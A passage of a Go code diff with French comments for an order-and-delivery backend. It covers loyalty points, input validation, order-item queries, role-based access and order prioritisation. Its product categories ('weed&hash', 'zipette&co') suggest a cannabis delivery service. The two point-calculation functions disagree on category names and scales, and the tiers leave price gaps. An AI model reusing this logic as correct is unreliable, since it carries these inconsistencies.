||||
JOIN products p ON ci.product_id = p.id
|
||||
WHERE ci.command_id = $1
|
||||
`
|
||||
|
||||
rows, err := d.Query(query, commandID)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur récupération items: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
zipetteTotal := 0.0
|
||||
weedTotal := 0.0
|
||||
grosSemiTotal := 0.0
|
||||
|
||||
for rows.Next() {
|
||||
var category string
|
||||
var prix float64
|
||||
var quantite int
|
||||
|
||||
if err := rows.Scan(&category, &prix, &quantite); err != nil {
|
||||
log.Printf("⚠️ Erreur scan item: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ prix contient déjà le total pour la quantité
|
||||
itemTotal := prix
|
||||
categoryLower := strings.ToLower(category)
|
||||
|
||||
if categoryLower == "zipette&co" || categoryLower == "zipette_co" {
|
||||
zipetteTotal += itemTotal
|
||||
} else if categoryLower == "gros&semi" || categoryLower == "gros_semi" {
|
||||
grosSemiTotal += itemTotal
|
||||
} else {
|
||||
weedTotal += itemTotal
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("💰 [CALC_POINTS] Cmd %d - Zipette: %.2f€, Weed: %.2f€, GrosSemi: %.2f€",
|
||||
commandID, zipetteTotal, weedTotal, grosSemiTotal)
|
||||
|
||||
// ✅ CALCUL POINTS WEED&HASH - NOUVEAU BARÈME
|
||||
// De 30 à 50€ -> 1 point
|
||||
// De 60 à 150€ -> 2 points
|
||||
// De 160 à 300€ -> 3 points
|
||||
// De 310 à 400€ -> 5 points
|
||||
// 400€ et + -> 10 points
|
||||
weedPoints := 0
|
||||
if weedTotal > 0 {
|
||||
switch {
|
||||
case weedTotal >= 30 && weedTotal <= 50:
|
||||
weedPoints = 1
|
||||
case weedTotal >= 60 && weedTotal <= 150:
|
||||
weedPoints = 2
|
||||
case weedTotal >= 160 && weedTotal <= 300:
|
||||
weedPoints = 3
|
||||
case weedTotal >= 310 && weedTotal <= 400:
|
||||
weedPoints = 5
|
||||
case weedTotal >= 400:
|
||||
weedPoints = 10
|
||||
}
|
||||
if weedPoints > 0 {
|
||||
log.Printf("🎁 [CALC_POINTS] Weed: %.2f€ → %d points", weedTotal, weedPoints)
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ CALCUL POINTS ZIPETTE&CO - NOUVEAU BARÈME
|
||||
// De 30 à 100€ -> 1 point
|
||||
// De 110 à 200€ -> 2 points (je suppose que c'est 110 et non 1100)
|
||||
// De 210€ et + -> 3 points
|
||||
zipettePoints := 0
|
||||
if zipetteTotal > 0 {
|
||||
switch {
|
||||
case zipetteTotal >= 30 && zipetteTotal <= 100:
|
||||
zipettePoints = 1
|
||||
case zipetteTotal >= 110 && zipetteTotal <= 200:
|
||||
zipettePoints = 2
|
||||
case zipetteTotal >= 210:
|
||||
zipettePoints = 3
|
||||
}
|
||||
if zipettePoints > 0 {
|
||||
log.Printf("🎁 [CALC_POINTS] Zipette: %.2f€ → %d points", zipetteTotal, zipettePoints)
|
||||
}
|
||||
}
|
||||
|
||||
totalPoints := 0
|
||||
|
||||
// ✅ AJOUTER LES POINTS SÉPARÉMENT PAR CATÉGORIE
|
||||
if zipettePoints > 0 {
|
||||
if err := d.AddClientPointsByCategory(username, zipettePoints, "zipette&co"); err != nil {
|
||||
log.Printf("❌ Erreur ajout points Zipette: %v", err)
|
||||
} else {
|
||||
totalPoints += zipettePoints
|
||||
log.Printf("✅ %d points ZIPETTE ajoutés à %s", zipettePoints, username)
|
||||
}
|
||||
}
|
||||
|
||||
if weedPoints > 0 {
|
||||
if err := d.AddClientPointsByCategory(username, weedPoints, "weed&hash"); err != nil {
|
||||
log.Printf("❌ Erreur ajout points Weed: %v", err)
|
||||
} else {
|
||||
totalPoints += weedPoints
|
||||
log.Printf("✅ %d points WEED ajoutés à %s", weedPoints, username)
|
||||
}
|
||||
}
|
||||
|
||||
if totalPoints == 0 {
|
||||
if grosSemiTotal > 0 && zipetteTotal == 0 && weedTotal == 0 {
|
||||
log.Printf("ℹ️ [CALC_POINTS] Cmd %d - Catégorie GROS&SEMI uniquement → 0 points", commandID)
|
||||
} else {
|
||||
log.Printf("ℹ️ [CALC_POINTS] Cmd %d - Aucun point éligible (Weed: %.2f€, Zipette: %.2f€)",
|
||||
commandID, weedTotal, zipetteTotal)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("✅ [CALC_POINTS] Cmd %d - Total: %d points (Zipette: %d, Weed: %d)",
|
||||
commandID, totalPoints, zipettePoints, weedPoints)
|
||||
|
||||
return totalPoints, nil
|
||||
}
|
||||
|
||||
func (d *Database) CalculateAndAddPointsForCommandTx(tx *sql.Tx, commandID int, username string) (int, error) {
|
||||
log.Printf("💰 [CalcPointsTx] START - cmd=%d, user=%s", commandID, username)
|
||||
|
||||
// ✅ ÉTAPE 1: Récupérer tous les items de la commande avec leurs catégories
|
||||
query := `
|
||||
SELECT ci.quantite, ci.prix, COALESCE(p.category, 'weed_hash') as category
|
||||
FROM command_items ci
|
||||
LEFT JOIN products p ON ci.product_id = p.id
|
||||
WHERE ci.command_id = $1
|
||||
`
|
||||
|
||||
rows, err := tx.Query(query, commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CalcPointsTx] Erreur query items: %v", err)
|
||||
return 0, fmt.Errorf("erreur récupération items: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type ItemPoints struct {
|
||||
Category string
|
||||
Quantite int
|
||||
Prix float64
|
||||
}
|
||||
|
||||
var items []ItemPoints
|
||||
totalPrixWeedHash := 0.0
|
||||
totalPrixZipette := 0.0
|
||||
|
||||
for rows.Next() {
|
||||
var item ItemPoints
|
||||
if err := rows.Scan(&item.Quantite, &item.Prix, &item.Category); err != nil {
|
||||
log.Printf("❌ [CalcPointsTx] Erreur scan: %v", err)
|
||||
return 0, fmt.Errorf("erreur lecture item: %w", err)
|
||||
}
|
||||
|
||||
items = append(items, item)
|
||||
|
||||
// Cumuler par catégorie
|
||||
if item.Category == "zipette" {
|
||||
totalPrixZipette += item.Prix
|
||||
} else {
|
||||
// weed_hash ou autres catégories
|
||||
totalPrixWeedHash += item.Prix
|
||||
}
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
log.Printf("❌ [CalcPointsTx] Erreur rows: %v", err)
|
||||
return 0, fmt.Errorf("erreur itération items: %w", err)
|
||||
}
|
||||
|
||||
if len(items) == 0 {
|
||||
log.Printf("⚠️ [CalcPointsTx] Aucun item trouvé pour cmd %d", commandID)
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
log.Printf("📊 [CalcPointsTx] %d items - weed_hash: %.2f€, zipette: %.2f€",
|
||||
len(items), totalPrixWeedHash, totalPrixZipette)
|
||||
|
||||
// ✅ ÉTAPE 2: Calculer les points par catégorie
|
||||
// Règle: 1 point par tranche de 10€
|
||||
pointsWeedHash := int(totalPrixWeedHash / 10.0)
|
||||
pointsZipette := int(totalPrixZipette / 10.0)
|
||||
totalPoints := pointsWeedHash + pointsZipette
|
||||
|
||||
log.Printf("💰 [CalcPointsTx] Points calculés - weed_hash: %d, zipette: %d, total: %d",
|
||||
pointsWeedHash, pointsZipette, totalPoints)
|
||||
|
||||
// ✅ ÉTAPE 3: Mettre à jour les points du client (dans la transaction)
|
||||
if pointsWeedHash > 0 || pointsZipette > 0 {
|
||||
updateQuery := `
|
||||
UPDATE clients
|
||||
SET
|
||||
point = point + $1,
|
||||
point_zipette = point_zipette + $2,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $3
|
||||
`
|
||||
|
||||
result, err := tx.Exec(updateQuery, pointsWeedHash, pointsZipette, username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CalcPointsTx] Erreur UPDATE points: %v", err)
|
||||
return 0, fmt.Errorf("erreur mise à jour points: %w", err)
|
||||
}
|
||||
|
||||
rows, _ := result.RowsAffected()
|
||||
if rows == 0 {
|
||||
log.Printf("⚠️ [CalcPointsTx] Client %s non trouvé", username)
|
||||
return 0, fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ [CalcPointsTx] Points ajoutés: +%d weed_hash, +%d zipette pour %s",
|
||||
pointsWeedHash, pointsZipette, username)
|
||||
}
|
||||
|
||||
log.Printf("🎉 [CalcPointsTx] SUCCÈS - Total %d points attribués", totalPoints)
|
||||
|
||||
return totalPoints, nil
|
||||
}
|
||||
|
||||
func (d *Database) CanUserAccessCommand(
|
||||
commandID int,
|
||||
username string,
|
||||
role string,
|
||||
) (bool, error) {
|
||||
|
||||
// 👑 Admin : accès total
|
||||
if role == "admin" {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
var exists bool
|
||||
|
||||
// 🚚 Livreur : seulement commandes assignées
|
||||
if role == "livreur" {
|
||||
err := d.QueryRow(`
|
||||
SELECT EXISTS(
|
||||
SELECT 1 FROM commandes
|
||||
WHERE id = $1 AND livreur_assign = $2
|
||||
)
|
||||
`, commandID, username).Scan(&exists)
|
||||
return exists, err
|
||||
}
|
||||
|
||||
// 👤 User : seulement SES commandes
|
||||
err := d.QueryRow(`
|
||||
SELECT EXISTS(
|
||||
SELECT 1 FROM commandes
|
||||
WHERE id = $1 AND username = $2
|
||||
)
|
||||
`, commandID, username).Scan(&exists)
|
||||
|
||||
return exists, err
|
||||
}
|
||||
@@ -0,0 +1,461 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// VALIDATION HELPERS
|
||||
// ============================================
|
||||
|
||||
func validateCommandID(commandID int) error {
|
||||
if commandID <= 0 {
|
||||
return fmt.Errorf("ID commande invalide: %d", commandID)
|
||||
}
|
||||
if commandID > 2147483647 {
|
||||
return fmt.Errorf("ID commande trop grand")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateItemID(itemID int) error {
|
||||
if itemID <= 0 {
|
||||
return fmt.Errorf("ID item invalide: %d", itemID)
|
||||
}
|
||||
if itemID > 2147483647 {
|
||||
return fmt.Errorf("ID item trop grand")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
func validateQuantite(quantite int) error {
|
||||
if quantite <= 0 {
|
||||
return fmt.Errorf("quantité doit être > 0")
|
||||
}
|
||||
if quantite > 10000 {
|
||||
return fmt.Errorf("quantité trop élevée (max 10000)")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validatePrix(prix float64) error {
|
||||
if prix <= 0 {
|
||||
return fmt.Errorf("prix doit être > 0")
|
||||
}
|
||||
if prix > 100000 {
|
||||
return fmt.Errorf("prix trop élevé (max 100000)")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateUsername(username string) error {
|
||||
if len(username) == 0 {
|
||||
return fmt.Errorf("username vide")
|
||||
}
|
||||
if len(username) > 100 {
|
||||
return fmt.Errorf("username trop long (max 100)")
|
||||
}
|
||||
// Sanitize
|
||||
if strings.Contains(username, "..") || strings.Contains(username, "/") {
|
||||
return fmt.Errorf("username invalide")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateDeliveryAddress(address string) error {
|
||||
if len(address) == 0 {
|
||||
return fmt.Errorf("adresse vide")
|
||||
}
|
||||
if len(address) > 500 {
|
||||
return fmt.Errorf("adresse trop longue (max 500)")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateItemStatus(status string) error {
|
||||
validStatuses := []string{"pending", "assigned", "en_route", "livre", "approved", "cancelled"}
|
||||
|
||||
status = strings.ToLower(strings.TrimSpace(status))
|
||||
|
||||
for _, valid := range validStatuses {
|
||||
if status == valid {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
return fmt.Errorf("statut invalide: %s", status)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// INSERT COMMAND ITEM - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (d *Database) InsertCommandItemWithClientInfo(
|
||||
commandID int,
|
||||
produit string,
|
||||
productID, quantite int,
|
||||
prix float64,
|
||||
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress string,
|
||||
) error {
|
||||
log.Printf("📝 [InsertCommandItemWithClientInfo] START - commandID=%d, produit=%s", commandID, produit)
|
||||
|
||||
// ✅ VALIDATION COMPLÈTE
|
||||
if err := validateCommandID(commandID); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validateProductID(productID); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validateQuantite(quantite); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validatePrix(prix); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validateUsername(clientUsername); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validateDeliveryAddress(deliveryAddress); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// ✅ SANITIZE STRINGS
|
||||
produit = strings.TrimSpace(produit)
|
||||
if len(produit) > 200 {
|
||||
produit = produit[:200]
|
||||
}
|
||||
|
||||
clientNom = strings.TrimSpace(clientNom)
|
||||
if len(clientNom) > 100 {
|
||||
clientNom = clientNom[:100]
|
||||
}
|
||||
|
||||
clientPrenom = strings.TrimSpace(clientPrenom)
|
||||
if len(clientPrenom) > 100 {
|
||||
clientPrenom = clientPrenom[:100]
|
||||
}
|
||||
|
||||
clientTelephone = strings.TrimSpace(clientTelephone)
|
||||
if len(clientTelephone) > 20 {
|
||||
clientTelephone = clientTelephone[:20]
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE LA COMMANDE EXISTE
|
||||
var exists bool
|
||||
checkQuery := `SELECT EXISTS(SELECT 1 FROM commandes WHERE id = $1)`
|
||||
err := d.QueryRow(checkQuery, commandID).Scan(&exists)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur vérification commande: %v", err)
|
||||
return fmt.Errorf("erreur vérification commande: %w", err)
|
||||
}
|
||||
if !exists {
|
||||
return fmt.Errorf("commande %d n'existe pas", commandID)
|
||||
}
|
||||
|
||||
// ✅ INSERT
|
||||
query := `INSERT INTO command_items (
|
||||
command_id, produit, product_id, quantite, prix,
|
||||
client_username, client_nom, client_prenom, client_telephone, delivery_address,
|
||||
status, created_at, updated_at
|
||||
) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, 'pending', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)`
|
||||
|
||||
_, err = d.Exec(query,
|
||||
commandID, produit, productID, quantite, prix,
|
||||
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur INSERT command_items: %v", err)
|
||||
return fmt.Errorf("erreur insertion item: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ Item inséré avec infos client: %s %s", clientNom, clientPrenom)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GET COMMAND ITEMS - VERSION SÉCURISÉE + FIX NULL
|
||||
// ============================================
|
||||
|
||||
func (d *Database) GetCommandItems(commandID int) ([]map[string]interface{}, error) {
|
||||
log.Printf("📦 [GetCommandItems] START - commandID=%d", commandID)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateCommandID(commandID); err != nil {
|
||||
log.Printf("❌ [GetCommandItems] %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
query := `
|
||||
SELECT
|
||||
ci.id,
|
||||
ci.command_id,
|
||||
ci.produit,
|
||||
ci.product_id,
|
||||
ci.quantite,
|
||||
ci.prix,
|
||||
ci.client_username,
|
||||
ci.client_nom,
|
||||
ci.client_prenom,
|
||||
ci.client_telephone,
|
||||
ci.delivery_address,
|
||||
ci.status,
|
||||
ci.created_at,
|
||||
ci.updated_at,
|
||||
c.status as command_status,
|
||||
c.adresse as command_address,
|
||||
c.total_prix,
|
||||
c.livreur_assign,
|
||||
c.created_at as command_created_at,
|
||||
COALESCE(p.category, 'weed_hash') as category
|
||||
FROM command_items ci
|
||||
LEFT JOIN commandes c ON ci.command_id = c.id
|
||||
LEFT JOIN products p ON ci.product_id = p.id
|
||||
WHERE ci.command_id = $1
|
||||
ORDER BY ci.id ASC`
|
||||
|
||||
rows, err := d.Query(query, commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur récupération items: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var items []map[string]interface{}
|
||||
|
||||
for rows.Next() {
|
||||
var id, commandID, quantite int
|
||||
var productID sql.NullInt64 // ✅ FIX: Utiliser NullInt64 pour gérer NULL
|
||||
var produit, clientUsername, clientNom, clientPrenom, clientTelephone string
|
||||
var deliveryAddress, status sql.NullString
|
||||
var prix, totalPrix float64
|
||||
var createdAt, updatedAt, commandCreatedAt time.Time
|
||||
var commandStatus, commandAddress, livreurAssign sql.NullString
|
||||
var category string
|
||||
|
||||
// ✅ FIX: Utiliser &productID (sql.NullInt64)
|
||||
err := rows.Scan(
|
||||
&id, &commandID, &produit, &productID, &quantite, &prix,
|
||||
&clientUsername, &clientNom, &clientPrenom, &clientTelephone, &deliveryAddress, &status,
|
||||
&createdAt, &updatedAt,
|
||||
&commandStatus, &commandAddress, &totalPrix, &livreurAssign, &commandCreatedAt,
|
||||
&category,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur scan: %v", err)
|
||||
return nil, fmt.Errorf("erreur scan: %w", err)
|
||||
}
|
||||
|
||||
// ✅ CONVERTIR sql.NullInt64 en int (0 si NULL)
|
||||
productIDValue := 0
|
||||
if productID.Valid {
|
||||
productIDValue = int(productID.Int64)
|
||||
}
|
||||
|
||||
item := map[string]interface{}{
|
||||
"id": id,
|
||||
"command_id": commandID,
|
||||
"produit": produit,
|
||||
"product_id": productIDValue, // ✅ FIX: Utiliser la valeur convertie
|
||||
"quantite": quantite,
|
||||
"prix": prix,
|
||||
"client_username": clientUsername,
|
||||
"client_nom": clientNom,
|
||||
"client_prenom": clientPrenom,
|
||||
"client_telephone": clientTelephone,
|
||||
"delivery_address": deliveryAddress.String,
|
||||
"status": status.String,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
// Infos commande
|
||||
"command_status": commandStatus.String,
|
||||
"command_address": commandAddress.String,
|
||||
"total_prix": totalPrix,
|
||||
"livreur_assign": livreurAssign.String,
|
||||
"command_created_at": commandCreatedAt,
|
||||
"category": category,
|
||||
}
|
||||
|
||||
items = append(items, item)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
log.Printf("❌ Erreur itération: %v", err)
|
||||
return nil, fmt.Errorf("erreur itération: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ %d items récupérés avec infos client et catégories", len(items))
|
||||
return items, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GET COMMAND ITEMS BY USERNAME - VERSION SÉCURISÉE + FIX NULL
|
||||
// ============================================
|
||||
|
||||
func (d *Database) GetCommandItemsByUsername(username string) ([]map[string]interface{}, error) {
|
||||
log.Printf("📦 [GetCommandItemsByUsername] START - username=%s", username)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateUsername(username); err != nil {
|
||||
log.Printf("❌ [GetCommandItemsByUsername] %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
query := `
|
||||
SELECT
|
||||
ci.id,
|
||||
ci.command_id,
|
||||
ci.produit,
|
||||
ci.product_id,
|
||||
ci.quantite,
|
||||
ci.prix,
|
||||
ci.client_username,
|
||||
ci.client_nom,
|
||||
ci.client_prenom,
|
||||
ci.client_telephone,
|
||||
ci.delivery_address,
|
||||
ci.status,
|
||||
ci.created_at,
|
||||
ci.updated_at,
|
||||
c.status as command_status,
|
||||
c.adresse as command_address,
|
||||
c.total_prix,
|
||||
c.livreur_assign,
|
||||
c.created_at as command_created_at
|
||||
FROM command_items ci
|
||||
LEFT JOIN commandes c ON ci.command_id = c.id
|
||||
WHERE ci.client_username = $1
|
||||
ORDER BY ci.command_id DESC, ci.id ASC`
|
||||
|
||||
rows, err := d.Query(query, username)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur récupération items: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var items []map[string]interface{}
|
||||
|
||||
for rows.Next() {
|
||||
var id, commandID, quantite int
|
||||
var productID sql.NullInt64 // ✅ FIX: NullInt64
|
||||
var produit, clientUsername, clientNom, clientPrenom, clientTelephone string
|
||||
var deliveryAddress, status sql.NullString
|
||||
var prix, totalPrix float64
|
||||
var createdAt, updatedAt, commandCreatedAt time.Time
|
||||
var commandStatus, commandAddress, livreurAssign sql.NullString
|
||||
|
||||
err := rows.Scan(
|
||||
&id, &commandID, &produit, &productID, &quantite, &prix,
|
||||
&clientUsername, &clientNom, &clientPrenom, &clientTelephone, &deliveryAddress, &status,
|
||||
&createdAt, &updatedAt,
|
||||
&commandStatus, &commandAddress, &totalPrix, &livreurAssign, &commandCreatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur scan: %v", err)
|
||||
return nil, fmt.Errorf("erreur scan: %w", err)
|
||||
}
|
||||
|
||||
// ✅ CONVERTIR NullInt64
|
||||
productIDValue := 0
|
||||
if productID.Valid {
|
||||
productIDValue = int(productID.Int64)
|
||||
}
|
||||
|
||||
item := map[string]interface{}{
|
||||
"id": id,
|
||||
"command_id": commandID,
|
||||
"produit": produit,
|
||||
"product_id": productIDValue, // ✅ FIX
|
||||
"quantite": quantite,
|
||||
"prix": prix,
|
||||
"client_username": clientUsername,
|
||||
"client_nom": clientNom,
|
||||
"client_prenom": clientPrenom,
|
||||
"client_telephone": clientTelephone,
|
||||
"delivery_address": deliveryAddress.String,
|
||||
"status": status.String,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
// Infos commande
|
||||
"command_status": commandStatus.String,
|
||||
"command_address": commandAddress.String,
|
||||
"total_prix": totalPrix,
|
||||
"livreur_assign": livreurAssign.String,
|
||||
"command_created_at": commandCreatedAt,
|
||||
}
|
||||
items = append(items, item)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
log.Printf("❌ Erreur itération: %v", err)
|
||||
return nil, fmt.Errorf("erreur itération: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ %d items récupérés pour l'utilisateur %s", len(items), username)
|
||||
return items, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// UPDATE COMMAND ITEM STATUS - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (d *Database) UpdateCommandItemStatus(itemID int, status string) error {
|
||||
log.Printf("📝 [UpdateCommandItemStatus] START - itemID=%d, status=%s", itemID, status)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateItemID(itemID); err != nil {
|
||||
log.Printf("❌ [UpdateCommandItemStatus] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validateItemStatus(status); err != nil {
|
||||
log.Printf("❌ [UpdateCommandItemStatus] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE L'ITEM EXISTE
|
||||
var exists bool
|
||||
checkQuery := `SELECT EXISTS(SELECT 1 FROM command_items WHERE id = $1)`
|
||||
err := d.QueryRow(checkQuery, itemID).Scan(&exists)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur vérification: %v", err)
|
||||
return fmt.Errorf("erreur vérification item: %w", err)
|
||||
}
|
||||
if !exists {
|
||||
log.Printf("❌ Item %d non trouvé", itemID)
|
||||
return fmt.Errorf("item %d non trouvé", itemID)
|
||||
}
|
||||
|
||||
// ✅ UPDATE
|
||||
query := `UPDATE command_items
|
||||
SET status = $1, updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $2`
|
||||
|
||||
result, err := d.Exec(query, status, itemID)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur UPDATE: %v", err)
|
||||
return fmt.Errorf("erreur mise à jour statut: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur RowsAffected: %v", err)
|
||||
return fmt.Errorf("erreur vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
log.Printf("❌ Item %d non trouvé", itemID)
|
||||
return fmt.Errorf("item non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ Statut item %d mis à jour: %s", itemID, status)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
// ============================================
|
||||
// db/commands_priority.go
|
||||
// 🎯 SYSTÈME DE PRIORISATION DES COMMANDES
|
||||
// ============================================
|
||||
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GetAllCommandsOldestFirst récupère les commandes triées par ancienneté (plus anciennes en premier)
|
||||
// Utilisé pour le système de priorisation automatique
|
||||
func (d *Database) GetAllCommandsOldestFirst(status, username string) ([]map[string]interface{}, error) {
|
||||
query := `SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
|
||||
c.livreur_assign, c.created_at, c.updated_at
|
||||
FROM commandes c
|
||||
WHERE 1=1`
|
||||
|
||||
args := []interface{}{}
|
||||
argPosition := 1
|
||||
|
||||
// Filtrer par status
|
||||
if status != "" {
|
||||
validStatuses := []string{"pending", "assigned", "en_route", "livre", "approved", "cancelled", "disabled", "support"}
|
||||
isValid := false
|
||||
for _, vs := range validStatuses {
|
||||
if status == vs {
|
||||
isValid = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !isValid {
|
||||
return nil, fmt.Errorf("statut invalide: %s", status)
|
||||
}
|
||||
|
||||
query += fmt.Sprintf(" AND c.status = $%d", argPosition)
|
||||
args = append(args, status)
|
||||
argPosition++
|
||||
}
|
||||
|
||||
// Filtrer par username si fourni
|
||||
if username != "" {
|
||||
query += fmt.Sprintf(" AND c.username = $%d", argPosition)
|
||||
args = append(args, username)
|
||||
argPosition++
|
||||
}
|
||||
|
||||
// ✅ TRI PAR ANCIENNETÉ: Les plus anciennes d'abord (ASC)
|
||||
query += " ORDER BY c.created_at ASC"
|
||||
|
||||
log.Printf("🔍 [PRIORITY] Query: %s | Args: %v", query, args)
|
||||
|
||||
rows, err := d.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération commandes prioritaires: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var commands []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var livreurAssign sql.NullString
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix, &livreurAssign, &createdAt, &updatedAt)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur scan commande: %w", err)
|
||||
}
|
||||
|
||||
command := map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
}
|
||||
|
||||
if livreurAssign.Valid {
|
||||
command["livreur_assign"] = livreurAssign.String
|
||||
} else {
|
||||
command["livreur_assign"] = nil
|
||||
}
|
||||
|
||||
commands = append(commands, command)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("erreur itération résultats: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [PRIORITY] %d commandes récupérées (ordre: plus anciennes → plus récentes)", len(commands))
|
||||
|
||||
return commands, nil
|
||||
}
|
||||
|
||||
// GetOldestPendingCommand récupère la commande pending la plus ancienne
|
||||
func (d *Database) GetOldestPendingCommand() (map[string]interface{}, error) {
|
||||
query := `SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
|
||||
c.livreur_assign, c.created_at, c.updated_at
|
||||
FROM commandes c
|
||||
WHERE c.status = 'pending'
|
||||
ORDER BY c.created_at ASC
|
||||
LIMIT 1`
|
||||
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var livreurAssign sql.NullString
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := d.QueryRow(query).Scan(
|
||||
&id, &username, &status, &adresse, &totalPrix,
|
||||
&livreurAssign, &createdAt, &updatedAt,
|
||||
)
|
||||
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil // Aucune commande pending
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération commande la plus ancienne: %w", err)
|
||||
}
|
||||
|
||||
command := map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
}
|
||||
|
||||
if livreurAssign.Valid {
|
||||
command["livreur_assign"] = livreurAssign.String
|
||||
} else {
|
||||
command["livreur_assign"] = nil
|
||||
}
|
||||
|
||||
log.Printf("📌 [PRIORITY] Commande la plus ancienne: ID=%d, créée le %s",
|
||||
id, createdAt.Format("2006-01-02 15:04:05"))
|
||||
|
||||
return command, nil
|
||||
}
|
||||
|
||||
// GetPendingCommandsWithPriority récupère les commandes pending avec calcul de priorité
|
||||
func (d *Database) GetPendingCommandsWithPriority() ([]*models.CommandPriority, error) {
|
||||
